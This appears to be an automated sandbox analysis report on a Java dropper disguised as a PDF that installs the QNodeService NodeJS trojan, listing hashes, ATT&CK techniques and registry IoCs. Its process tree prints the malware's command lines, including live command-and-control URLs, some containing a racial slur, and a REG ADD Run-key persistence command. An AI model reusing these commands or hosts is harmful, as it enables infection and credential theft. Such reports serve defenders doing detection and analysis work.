qnodeservice | 01aed0709103132b5ec407879fa57e8130696922843d92bffbed8075c7d8ce0e

General

Target

CONSULTA PLASTOMEX 00671__pdf.jar
Size

11KB
MD5

a606c29fff75cdd6d6d9731712a47d72
SHA1

02b0dc7bb973fd0ead73cd85b3b8a34ff2644440
SHA256

01aed0709103132b5ec407879fa57e8130696922843d92bffbed8075c7d8ce0e
SHA512

c917378781f67f9b997c5ecfd1a4094c96b3cee7b9493839d5f2a865e80545c8f46d223765fc9c8a7c0003f848da808bc01ac3531e753c9e8009262a2ae44c9e

Score

10^/10

Malware Config

Signatures

QNodeService NodeJS Trojan 1 IoCs

resource	yara_rule
behavioral2/files/0x000100000001bf9a-111.dat	family_qnodeservice

Adds Run entry to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\Software\Microsoft\Windows\CurrentVersion\Run\qnodejs-4f9a1ccf = "cmd /D /C \"C:\\Users\\Admin\\qnodejs-node-v13.13.0-win-x64\\qnodejs\\qnodejs-4f9a1ccf.cmd\""	reg.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 428 wrote to memory of 3152	428	java.exe	67
PID 428 wrote to memory of 3152	428	java.exe	67
PID 3152 wrote to memory of 2540	3152	node.exe	68
PID 3152 wrote to memory of 2540	3152	node.exe	68
PID 2540 wrote to memory of 4092	2540	cmd.exe	69
PID 2540 wrote to memory of 4092	2540	cmd.exe	69
PID 3152 wrote to memory of 2160	3152	node.exe	72
PID 3152 wrote to memory of 2160	3152	node.exe	72

Loads dropped DLL 4 IoCs

pid	Process
2160	node.exe
2160	node.exe
2160	node.exe
2160	node.exe

QNodeService
is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.
trojan qnodeservice

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	wtfismyip.com
12	wtfismyip.com

Executes dropped EXE 2 IoCs

pid	Process
3152	node.exe
2160	node.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2160	node.exe
2160	node.exe

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\CONSULTA PLASTOMEX 00671__pdf.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:428
- C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
  C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://coolnigga.linkpc.net --central-base-url https://mynigga.servehttp.com --central-base-url https://coolboy.serveftp.com --central-base-url https://badboy.linkpc.net
  2⤵
  - Suspicious use of WriteProcessMemory
  - Executes dropped EXE
  PID:3152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-4f9a1ccf" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-4f9a1ccf.cmd\"""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2540
  - - C:\Windows\system32\reg.exe
      REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-4f9a1ccf" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-4f9a1ccf.cmd\""
      4⤵
      Adds Run entry to start application
      PID:4092
- - C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
    C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://coolnigga.linkpc.net --central-base-url https://mynigga.servehttp.com --central-base-url https://coolboy.serveftp.com --central-base-url https://badboy.linkpc.net
    3⤵
    - Checks processor information in registry
    - Loads dropped DLL
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2160

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2160-116-0x0000038E13940000-0x0000038E13941000-memory.dmp

Filesize
4KB

Download
memory/3152-110-0x000002F163CC0000-0x000002F163CC1000-memory.dmp

Filesize
4KB

Download

Analysis

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